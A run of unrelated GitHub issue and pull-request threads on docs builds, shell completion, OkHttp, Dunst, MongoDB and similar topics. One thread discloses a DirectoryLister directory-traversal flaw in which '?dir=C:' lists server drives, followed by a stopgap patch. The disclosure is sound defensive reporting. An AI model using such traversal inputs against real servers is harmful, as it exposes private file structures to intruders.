Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit fa4abd2:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Fixed examples to use parameter SourceNWInterface not SourceNWInterfaceIndex
Fixed examples to use parameter DestinationNWInterface not DestinationNWInterfaceIndex

Docs Build status updates of commit 9960350:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 74c1185:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 2d086ae:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

close/reopen to effect new build

Docs Build status updates of commit e8c869d:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit e8c869d:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 55a07da:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2016-ps)

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2019-ps)

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:white_check_mark:Succeeded
View (WindowsServer2022-ps)

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Fix container detection

When systemd-detect-virt exists and we aren't in a container, is_container contains y none none instead of none.
This causes nixos-anywhere to warn WARNING: This script does not support running from a 'y' container. kexec will likely not work even though we aren't in a container.

has outputs y/n to stdout which we need to remove
systemd-detect-virt --container returns non-zero when we aren't in a container, use if then else instead of && || to prevent duplicating none in is_container variable

Tested running against a stock debian 12 with bash as login shell

Converted to draft because has() can never (reasonably) return non-zero as it returns the exit code of echo itself and as such has systemd-detect-virt will always return truthy. This is also an issue in the original commit which I'll fix (probably tomorrow) and update this PR.

Switched to checking the output of has() instead of its return value. Not sure if this is conceptually cleaner than say using command -v directly but it fits the style of the other facts

@mergify queue


Added screenshots for Chinese (Simplified) zh-CN

Thanks!

Codecov Report

Merging #992 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #992   +/-   ##
======================================
  Coverage    3.77%   3.77%
======================================
  Files         100     100
  Lines        5240    5240
  Branches      485     485
======================================
  Hits          198     198
  Misses       5028    5028
  Partials       14      14

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 078feb9...adecbea. Read the comment docs.


3.0.0 Release notes seems to be incorrect

In https://github.com/chalk/chalk/releases/tag/v3.0.0 section "Minor breaking", it is mentioned that, when using esModuleInterop TS compiler option, we should use:

import * as chalk from 'chalk';
instead of
import chalk from 'chalk';

It seems to be incorrect, I have:

error chalk.red is not a function trying with import * as chalk from 'chalk';+ esModuleInterop: true
no error with import chalk from 'chalk'; + esModuleInterop: true

Am I missing something?

This was actually changed because of https://github.com/chalk/chalk/issues/378. I'm just gonna remove that part from the release notes.


Dunst invisible (blurred) when run with sudo su $SUDO_USER -c

X: https://github.com/dunst-project/dunst/issues/1126
I have the following minimal example:
for i in 1 2 3 4; do
  notify-send "Test $i" -h string:synchronous:disable-keyboard
  sleep 1
done

The notification shown does not replace the old one (as it should according to Dunst, and does work for my other scripts).
This is not the case if notify-send is run directly by the user.
I need to do this because the script's primary function requires superuser, and the script is marked as NOPASSWD in /etc/sudoers. Using sudo inline in the script only for the necessary commands is not an option.
What happens instead?
The first notification is shown correctly, any after that show up as a blurred rectangle in its place.
Here is a video where I first run the script, and then the notify-send commands individually, finally I copy and paste a contrived example from snippets of the script to demonstrate the commands should work as expected.
Note that for the first 30 seconds or so, I am waiting for the script to finish running. After that I start running things manually. Look in the top-right.
https://youtu.be/UvopfreWfa4
Here is the full script that I am working with:
#! /usr/bin/env bash

set -eu

# DISABLE_DEVICES=(
# 	# AT Translated Set 2 Keyboard
# 	/dev/input/event0
# 	# Sleep Button
# 	/dev/input/event9
# 	# Power Button
# 	/dev/input/event10
# 	# Lid Switch
# 	/dev/input/event8
# 	# ThinkPad Extra Buttons
# 	/dev/input/event15
# 	# SynPS/2 Synaptics Touchpad
# 	/dev/input/event19
# 	# TPPS/2 Elan TrackPoint
# 	/dev/input/event21
# )

# DISABLE_DEVICES=
: "${DISABLE_DURATION:=30}"
: "${NOTIFICATION_USER:="${SUDO_USER-$USER}"}"
: "${NOTIFICATION_COUNTDOWN:=28}"
: "${NOTIFICATION_TIMEOUT:=2000}"
: "${NOTIFICATION_TEXT_SIZE:=x-large}"
: "${NOTIFICATION_ICON_CATEGORY:=devices}"
: "${NOTIFICATION_ICON_NAME:=input-keyboard}"
: "${NOTIFICATION_URGENCY:=critical}"
: "${NOTIFICATION_TITLE:=Input/Keyboard}"

__NOTIFICATION_COUNTDOWN_TIMEOUT=2000

su "$NOTIFICATION_USER" -c "$(
cat <<- EOF
	notify-send \
		'$NOTIFICATION_TITLE' \
		"Disabled\\n${#DISABLE_DEVICES[@]} devices" \
		-u $NOTIFICATION_URGENCY \
		-t $NOTIFICATION_TIMEOUT \
		-c $NOTIFICATION_ICON_CATEGORY \
		-i $NOTIFICATION_ICON_NAME \
		-h string:synchronous:disable-keyboard
EOF
)"

pids=()

# for event in "${DISABLE_DEVICES[@]}"; do
# 	evtest --grab "$event" &> /dev/null &
# 	pids+=($!)
# done

sleep $((DISABLE_DURATION - NOTIFICATION_COUNTDOWN))

for i in $(seq 0 $NOTIFICATION_COUNTDOWN); do
	i=$((NOTIFICATION_COUNTDOWN - i))
	su "$NOTIFICATION_USER" -c "$(
	cat <<- EOF
		notify-send \
			'$NOTIFICATION_TITLE' \
			"Enabling ${#DISABLE_DEVICES[@]} devices in $i seconds" \
			-u $NOTIFICATION_URGENCY \
			-t $__NOTIFICATION_COUNTDOWN_TIMEOUT \
			-c $NOTIFICATION_ICON_CATEGORY \
			-i $NOTIFICATION_ICON_NAME \
			-h "int:value:$((100 * i / NOTIFICATION_COUNTDOWN))" \
			-h string:synchronous:disable-keyboard
	EOF
	)"
	sleep 1
done

# kill "${pids[@]}"

su "$NOTIFICATION_USER" -c "$(
cat <<- EOF
	notify-send \
		'$NOTIFICATION_TITLE' \
		"Enabled\\n${#DISABLE_DEVICES[@]} devices" \
		-u $NOTIFICATION_URGENCY \
		-t $NOTIFICATION_TIMEOUT \
		-c $NOTIFICATION_ICON_CATEGORY \
		-i $NOTIFICATION_ICON_NAME \
		-h string:synchronous:disable-keyboard
EOF
)"

how is this a hyprland issue?
Is this somehow working on e.g. sway?

I'm not sure if it's a hyprland issue. I don't have any other compositor set up, but I thought I might mention it in case you would tell me it's about xwayland and sessions or whatever something.

doubt

@vaxerski I think we can close this https://github.com/dunst-project/dunst/issues/1126


mongodb distinct.. slow. issue.

I put 20,000 data in mongo DB now.
The following code will make the query speed too slow.
Response_query = self.statements.distinct ('in_response_to.text')
I need action to improve conversation speed.
Can you recommend it?
thank you.

Theoretically the distinct shouldn't be needed. I can remove it to correct this issue.

Please explain in more detail.
Thank you..

Actually, after looking into this a bit further, it doesn't appear that the distinct can be avoided. This method needs to return a list of statements that are responses and it cause larger performance issues if duplicate statements were returned.
It might be possible to improve performance by applying an index, but I currently don't have a way to test what the performance increase (if any) would be.

I would say, using elastic search could be a better choice. But a bit of work involved. https://github.com/elastic/elasticsearch-py/blob/master/docs/index.rst
I am going to test this and will let you know.
Once data is in elastic you can visualize and can do a lot more for free using kibana.
a new adapter needs to be written but it's not that difficult.

I will not use mongodb.
Please suggest a reference.
Thank you.

vusdo@ - You need to install elastic search if you want to use for millions/bill of records and also text based search is very fast.
https://www.digitalocean.com/community/tutorials/how-to-install-elasticsearch-logstash-and-kibana-elk-stack-on-ubuntu-14-04
Install elastic and kibana. You don't need Logstash.
Then use this lib to manipulate data,  insert search etc.  https://github.com/elastic/elasticsearch-py/blob/master/docs/index.rst .
This all have a learning curve if you are not using elastic search already.
Let me know if you have more questions.

I am pleased to learn a new solution.
Thank you for sharing the elasticsearch storage adapter.

I'm closing this ticket off. It doesn't appear to contain anything actionable to improve ChatterBot.

vusdo - Please share your experience of elastic search implementation.


Splitting up files

I'm thinking about opening a PR moving each class in the AnimatedImplementation file into it's own file for better organization.
Any strong feelings against this?

Yes please!
I put everything in one file when I was hacking on it. I refactored it probably 10 times before I got something that I was pleased with.
Now that the implementation is pretty solid, it's worth splitting up, this file has gotten huge over time.


Documentation OkHttp 3: Highlight that one must not recreate the OkHttpClient for each request

With OkHttp 3.3.1 if one is recreating the OkHttpClient for each request like so:
OkHttpClient client = new OkHttpClient.Builder().build();
you will run out of file handles for your app. Your application will terminate with the following error message after a while

'FORTIFY_SOURCE: FD_SET: file descriptor >= FD_SETSIZE. Calling abort().'

It is mentioned in the OkHttp 3 release notes that one should avoid recreating the OkHttpClient because the app may run out of memory due to each client getting its own thread pool.
But in my experience, one definitely should not recreate the OkHttpClient object because of the issue with file handles, which is much harder to debug and link to OkHttp 3.
On the other hand, if the OkHttpClient object is going out of scope and being garbage collected by the system (assumably), it may also be a bug that the thread pool is not cleaned and file handles not being closed properly.

Wanna send a pull request?

Looking at your samples from https://github.com/square/okhttp/tree/master/samples it seems that you are creating the OkHttpClient at the same time with the Request sent to the client.
Do you think the samples should be changed too? Based on my experience, it's just a really bad practice to create the OkHttpClient on-demand with the Request. Or do you think it's a bug that the file handlers are not released? Thus, creating the OkHttpClient on-demand should be ok?

I would probably at least add a new section to your FAQ in the Wiki, if for nothing else, for Google to find it for other people if the stumble on the same error message.
https://github.com/square/okhttp/wiki/FAQs

Error: 'FORTIFY_SOURCE: FD_SET: file descriptor >= FD_SETSIZE. Calling abort().'
If you get this error when calling execute() on your Call, it means that OkHttp has not released the file handles associated with previous HTTP calls and you are running out of file handles allowed for a single Android application.
The reason for this is probably that you are creating a new OkHttpClient object for each of your HTTP requests, which in turn creates thread pools for each client which will leave connections/file handles around.
To solve this issue, create a single static OkHttpClient that is shared between all your Call requests.

English is not my native language, so feel free to edit as seen fit, if you find this useful.

The bug I encountered is due to the fact that I created a new OkHttpClient for each request and made several successive requests in a tight loop. This together with the fact that the default OkHttpClient.Builder creates a new ConnectionPool for each client and this ConnectionPool will keep all connections around for at least 5 minutes before discarding them as idle. This will make the file handles run out quite fast on Android.
Create a default ConnectionPool with a 5 minute cleanup period: https://github.com/square/okhttp/blob/master/okhttp/src/main/java/okhttp3/OkHttpClient.java#L390
https://github.com/square/okhttp/blob/master/okhttp/src/main/java/okhttp3/ConnectionPool.java#L85
This will keep the connections around for at least 5 minutes:
https://github.com/square/okhttp/blob/master/okhttp/src/main/java/okhttp3/ConnectionPool.java#L208
If we don't want to force the user to create a custom ConnectionPool and make sure that file handles are being cleaned, I think this should be handled somehow. I am not (yet) familiar enough with the OkHttp source code to know if this is even feasible to fix, but I will look into a pull request. Input is warmly welcomed to hear if this is feasible to work around or fix inside the OkHttp client.

I think we fix this with documentation. Which docs did you read before making that mistake?

Well, neither the examples at http://square.github.io/okhttp/ nor the Wiki says anything about this corner case. Also the samples in GitHub do show that the client is created together with the request.
If there's documentation about ConnectionPool request cleanup and how not to use the OkHttpClient, I must have missed it.

:+1: to these doc improvements! Just ran into this issue and was able to easily figure it out thanks to these changes.


"::" module path separator complicates completion in Bash

I've been test-driving modules recently, and the :: module separator is causing me some issues with shell completion in Bash.
The COMP_WORDBREAKS variable controls which characters are considered word breaks. The default is "'><=;|&(:, which contains a :. This prevents module recipes, which are in the format mod::recipe, from completing.
So I put
export COMP_WORDBREAKS="${COMP_WORDBREAKS/:/}"

in my bashrc, and this seemed to fix it.
However, sometimes (and I can't replicate the trigger) when I complete a submodule name it completes as mod\:\: and then stops any further completing.
Not sure what the best way forward is, but I don't like having to modify COMP_WORDBREAKS because it's a global change and might have other unintended side-effects.
In fact, if the Bash default is incompatible with : then it might be a bad idea to use it, as it will leave many people confused. Defaults are king.
My initial thought as to an alternative would be . because it's conceptually similar, isn't present in the default COMP_WORDBREAKS, and isn't currently valid in recipe names.

Damn, that is so annoying. I definitely want to use the :: syntax inside of justfiles for module names, but I agree that if bash chokes on ., it would probably be better to use that for the output of --summary.

When you say "if bash chokes on ." I assume you mean ::?

Whoops, yeah, that's what I meant.
Yeah, also, as a general strategy for just, I like to make the space of invalid inputs as large as possible, and the space of valid inputs as small as possible, for future backwards compatible upgrades. In this specific case, foo.bar is an invalid command-line option, so, in the future, I could add a feature which used the syntax foo.bar, and it would be backwards compatible, because previously it would be an error. However, if I allow foo.bar on the command-line, that syntactic space is then no longer available for future upgrades. This general strategy applies to command line options, recipe syntax, etc.
But in this case it's probably not too bad, since it's only for the command-line, and I can't imagine what I would use foo.bar for in the future.

I think we can actually deal with this in our completion script: https://stackoverflow.com/questions/10528695/how-to-reset-comp-wordbreaks-without-affecting-other-completion-script

Good point. I did see that post but for some reason didn't pursue it. I've fixed it on #1863.

Fixed in #1863.


SECURITY BREACH using ?dir=

I recently came across a security breach today while using this tool on a windows apache server.
You can use it to display any path OUTSIDE of the path the script runs in using the URL, if you know direct paths on the server. For instance, simply adding ?dir=C: to the end of the index.php will display the contents of the C:/ drive, and everything from there! This does not let the user display files in these directories, but seeing the directories themselves is already BAD enough!
Please be sure to patch this in future releases. It should never allow directory listing of parent directories.

Also, a RECOMMENDATION feature:
Would it be possible to run this script on a web-accessible directory, but have it browse files on a directory outside of the web directory? Say, I want to browse C:/My Pictures exclusively through this tool on domain.com/index.php (running your script). So in other words, your script would be a portal to make these files web-accessible.
Thanks!

For those reading this, a quick patch is to add the following code right below <?php in your index.php file (assuming you use the default DirectoryLister PHP file)
ini_set ( 'open_basedir', dirname ( getcwd() ) );
if ( isset ( $_GET['dir'] ) && !@is_dir ( $_GET['dir'] ) ) {
$_GET['dir'] = '.';
}
Which will only allow directories within the directory you allowed to be browsed. C:/, for example, will then default back to the root directory of which you expect the visitors to be browsing. This is not a perm fix, but it works until an update is released!

Thanks for finding this @SeiRruf.  I guess I haven't really tested this against a Windows server.  I'll be sure to get this fixed.

No problem @PHLAK. :) Happy to help. I noticed it when trying to view a directory outside of my public_html, and noticed I was able to view the directories but not open files. This works with any absolute path, such as C: D: E: etc.
I'd love to see a feature where the path that is being listed is hidden through the script. For example, have the script in /home/ but have it listing files and directories from /files/images/ without giving away that path to the viewer at all. This would mean every single file and directory would have to be ran through this script. Images, etc. This would be useful for those who have a directory full of items they'd like to be accessible exclusively through this tool, without moving them to their public domain.
Thanks, and Happy New Year~

Resolved by commit ae79e87


Website first page example

Hi, first page example is not complete, some of 'import' are not correct because if you follow the exact think you will get error!
Iteratee and find are not there

Hi,
Can you precise which import is wrong for you?

with the current imports it doesn't find Iteratee and find
"org.reactivemongo" %% "reactivemongo" % "0.11.0"

Which import? Which code example?

there is no import that contains Iteratee and find!
import scala.concurrent.Future
import scala.concurrent.ExecutionContext.Implicits.global

import play.api.libs.iteratee.Iteratee

import reactivemongo.bson.BSONDocument
import reactivemongo.api.collections.bson.BSONCollection

def listDocs(collection: BSONCollection) = {
  // Select only the documents which field 'firstName' equals 'Jack'
  val query = BSONDocument("firstName" -> "Jack")
  // select only the fields 'lastName' and '_id'
  val filter = BSONDocument(
    "lastName" -> 1,
    "_id" -> 1)

  /* Let's run this query then enumerate the response and print a readable
   * representation of each document in the response */
  collection.
    find(query, filter).
    cursor[BSONDocument].
    enumerate().apply(Iteratee.foreach { doc =>
      println(s"found document: ${BSONDocument pretty doc}")
    })

  // Or, the same with getting a list
  val futureList: Future[List[BSONDocument]] =
    collection.
      find(query, filter).
      cursor[BSONDocument].
      collect[List]()

  futureList.map { list =>
    list.foreach { doc =>
      println(s"found document: ${BSONDocument pretty doc}")
    }
  }
}

it has been solved in 11d76d9881a7542d6cd44ba37446e85153531bfb


Add API endpoints for Apps

The following API end points are intended to manage Apps using the GUI.

GET /ghost/api/v0.1/apps/: get a list of all available apps
GET /ghost/api/v0.1/apps/<id or app-name>: get app details using id or app-name
DELETE /ghost/api/v0.1/apps/<id or app-name>: delete app using id or app-name
PUT /ghost/api/v0.1/apps/<id or app-name>: edit app using id or app-name, currently needed to activate/deactivate Apps

Temporarily closing all of the app specific issues (tagged with later). Will review & reopen those that are still relevant when we kick off that project, which should be shortly after Zelda lands.


Fixed spelling mistake.

From http://www.ross.net/notes/loose.shtml:
This knot is too loose.
Please do not lose my book.
I had better not lose that file.

thanks!


TypeError: EulerDiscreteScheduler.init() got an unexpected keyword argument 'steps_offset'

Traceback (most recent call last):
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/gradio/routes.py", line 534, in predict
output = await route_utils.call_process_api(
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/gradio/route_utils.py", line 226, in call_process_api
output = await app.get_blocks().process_api(
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/gradio/blocks.py", line 1550, in process_api
result = await self.call_function(
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/gradio/blocks.py", line 1185, in call_function
prediction = await anyio.to_thread.run_sync(
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/anyio/to_thread.py", line 56, in run_sync
return await get_async_backend().run_sync_in_worker_thread(
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/anyio/_backends/_asyncio.py", line 2144, in run_sync_in_worker_thread
return await future
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/anyio/_backends/_asyncio.py", line 851, in run
result = context.run(func, *args)
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/gradio/utils.py", line 661, in wrapper
response = f(*args, **kwargs)
File "/root/autodl-tmp/AnimateDiff/app.py", line 158, in animate
scheduler=scheduler_dictsampler_dropdown
File "/root/miniconda3/envs/animatediff/lib/python3.10/site-packages/diffusers/configuration_utils.py", line 567, in inner_init
init(self, *args, **init_kwargs)
TypeError: EulerDiscreteScheduler.init() got an unexpected keyword argument 'steps_offset'
How to fix it ?

I have the same problem


update audit level to Metadata for secrets

Signed-off-by: kaizhe<EMAIL_ADDRESS>
What type of PR is this?

Uncomment one (or more) /kind <> lines:

/kind bug

/kind cleanup

/kind design

/kind documentation

/kind failing-test

/kind feature

If contributing rules or changes to rules, please make sure to also uncomment one of the following line:

/kind rule-update

/kind rule-create

Any specific area of the project related to this PR?

Uncomment one (or more) /area <> lines:

/area build

/area engine

/area examples

/area rules

/area integrations

/area tests

/area proposals

What this PR does / why we need it:
Set the audit level to Metadata for object secrets. Or the secret data will be recorded in the audit log.
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewer:
Does this PR introduce a user-facing change?:

Update example: set audit level to metadata for object secrets

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To complete the pull request process, please assign mstemm
You can assign the PR to them by writing /assign @mstemm in a comment when ready.
The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: mstemm
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [mstemm]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

LGTM label has been added.  Git tree hash: 9b42f8bdf85e46b818bb2407f7d022db55964b32

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: leodido, mstemm
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [leodido,mstemm]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Welling/cleanup and add provenance

Following merged PR #462 #465 #468 for TEST
This branch merged all commits from jpuerto/assay_classifier_updates, but we'll handle them separately based on Juan's comment:

I'd like to keep these things separate. I believe that this PR is actually ready for merging and since Joel is only in twice a week, his PR may take a bit longer to incorporate/test.

Replaced by PR #469


Update README.md

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: sakshamtaneja21 sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.

@sakshamtaneja21 thanks but we can't merge this until you've signed the CLA (see the link above).

hey i have singed cli


How to calculate Fairness results?

Hello, your work is excellent~I read the paper and its codes carefully.
I really wonder how to get the results of Table 2 in paper.  And could you please also share the codes of q-FFL and CFFL?

Looking forward to your reply. Thanks~

Thanks for the interest in our work!
Do you mean what we use as the fairness metric, in which case the metric is the Pearson correlation coefficient between the standalone test accuracies (without collaboration) and the test accuracies of each after collaboration. In both cases the test accuracies are obtained on a single hold-out test set.
We use the original code for q-FFL and our other repository for CFFL.
P.S. Our NeurIPS'21 paper Gradient Driven Rewards to Guarantee Fairness in Collaborative Machine Learning with code has a more in-depth theoretical analysis on fairness for a similar implementation to this work.

Thanks for the interest in our work!
Do you mean what we use as the fairness metric, in which case the metric is the Pearson correlation coefficient between the standalone test accuracies (without collaboration) and the test accuracies of each after collaboration. In both cases the test accuracies are obtained on a single hold-out test set.
We use the original code for q-FFL and our other repository for CFFL.
P.S. Our NeurIPS'21 paper Gradient Driven Rewards to Guarantee Fairness in Collaborative Machine Learning with code has a more in-depth theoretical analysis on fairness for a similar implementation to this work.

Thanks a lot, I will try~
And congratulations on your new achievement!


Fix api references and contracts titles

Overview
Pages for API References and Contract Addresses are named generic. This causes confusing search results and weakens our SEO. This PR fixes that.

Can you rebase this? As we expected, it conflicts with the 'hidden' changes PR.


Added before/after methods and test duration + deployment tests

Changes
This PR enhances the test framework.
Deployment tests (requires an opened workspace folder)

Added Deploy all test
Added Deploy compare test

Test suite level

Optional before method: if present, runs code before the test suite is executed and cancels the whole suite if it fails. The failure is displayed as a tooltip in the Tests browser.
Optional after method: if present, runs unconditionally after the test suite is done running (even if cancelled)
New status field
Displays a spinning gear when the test suite is running

Test case level

Added a duration field, filled when the test case is done. The duration is displayed as a tooltip in the Tests browser.

Tests view

Added a Collapse All button
Fixed error handling when the error thrown is not an Error

Checklist

[x] have tested my change
[x] for feature PRs: PR only includes one feature enhancement.

Sure! I was keeping them in another PR for the deployment tests; but I can
put a few of these tests in these PR 😉
Le mar. 13 juin 2023, 18:01, Christian Jorgensen @.***>
a écrit :

@.**** requested changes on this pull request.
@sebjulliand https://github.com/sebjulliand Looking good to me - but
can you provide me with some before and after methods to use for testing
the code?
—
Reply to this email directly, view it on GitHub
https://github.com/halcyon-tech/vscode-ibmi/pull/1369#pullrequestreview-1477561088,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACUVGOUAXVJHHPRQ4LMI62TXLCFFNANCNFSM6AAAAAAZE5ESKI
.
You are receiving this because you were mentioned.Message ID:
@.***>

There you go @chrjorgensen ; I added the Deployment test suite as well.
It was originally for it that I introduced the before/after functions. So I guess adding it to the PR is not bad 😊

@chrjorgensen that was the point: if the before method fails, it is supposed to compromise the whole test suite.
When that happens, the tooltip holds the failure message and no tests are shown. Do you think it would be best to show them anyway?

@sebjulliand The tests were shown before they were activated, and then they were gone - which is/was confusing to me. Now that you explain why, I see what you're trying... is it possible to show the tests in grey or have an icon to show they were not run?

@sebjulliand The tests were shown before they were activated, and then they were gone - which is/was confusing to me. Now that you explain why, I see what you're trying... is it possible to show the tests in grey or have an icon to show they were not run?

Great idea, as always! I'll do that!

Interesting case! I didn't know you could just throw a string like that. I always threw an Error so far.
throw new Error("Boop");

So just throwing a string would result in no failure message being retrieved, and so the test case would not be considered as having failed.
It should be OK now.
I also made the test suite icon a spinning gear when running (because I like it) and also turned on the Collapse All button on the view.

Beginners are the best testers! 😆
What about errors in the after method? Should they stop the test or just be ignored like those in before? When I throw an error (string! 😉) in after, it stops the test run:

Good question!
So from now on, if after fails, the TestSuite will be colored in red and the failure reported on the tooltip. Tests that ran in the suite won't be affected if after fails. What do you think?


The generic image is not published on tag

This is the response I got when trying to run docker run with the generic image:
docker run ghcr.io/ovrclk/cosmos-omnibus:v0.2.2-generic
Unable to find image 'ghcr.io/ovrclk/cosmos-omnibus:v0.2.2-generic' locally
docker: Error response from daemon: manifest unknown.

Checking out the tag workflows, it does not look like the generic image is being pushed to the container registry on tag.

 Thanks for raising, fix going out today


TabPageIndicator color doesn't change

I'm using your TabPageIndicator which is working great, but I can't seem to make the color of the selected tab text change -- all of the text stays as the default white. I see there's an option to set the android:textAppearance but its not possible to set that attribute to a selector since selectors don't work for text as far as I know.
So how else can you go about changing the text color for a selected tab?

Here is the example in demo app for a selector that change tab text color:
<selector xmlns:android="http://schemas.android.com/apk/res/android">

    <item android:state_checked="false" android:color="@color/tpi_unchecked" />
    <item android:state_checked="true" android:color="@color/tpi_checked" />

</selector>

Right so I'm using in the TabPageIndicator element:
        android:textAppearance="@style/TabBarStyle"

In TabBarStyle I have:
<style name="TabBarStyle"<EMAIL_ADDRESS>        <item name="android:textSize">12sp</item>
        <item name="android:textColor">@drawable/tab_text_color</item>
    </style>

And in tab_text_color:
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">

    <item android:state_selected="false" android:color="@color/secondary" />
    <item android:state_selected="true" android:color="@color/white" />

</selector>

And yet the color of all the text is always @color/secondary as if all of the tabs are always selected. Not sure where I might be going wrong.


Facebook was mispelled as Faceb0ok

@pc035860 do you have an opinion on this?

@caitp Nope. Good to go!

great thanks!

I signed it!

Steve, can you make sure you've signed it with the email the patch was committed with? That will help out a lot.

Its definitely the same email address as my github. I also created the patch using the github.com browser  editor, no git client.

Thanks, the robot should confirm that in a few hours i believe

Will re-close when confirmed

anyway I can get this off of my list?

well, I'm not sure why I reopened this, but yeah


[BUG] changed-files-diff-sha prints thousands of lines and takes two minutes to run

Is there an existing issue for this?

[X] I have searched the existing issues

Does this issue exist in the latest version?

[X] I'm using the latest release

Describe the bug?
Only one json file was changed, yet changed-files-diff-sha went haywire. All screenshots on the bug is contained in this gist:
https://gist.github.com/RohanJoshi06/c875cad897c4e2a4b902fc3672d26309
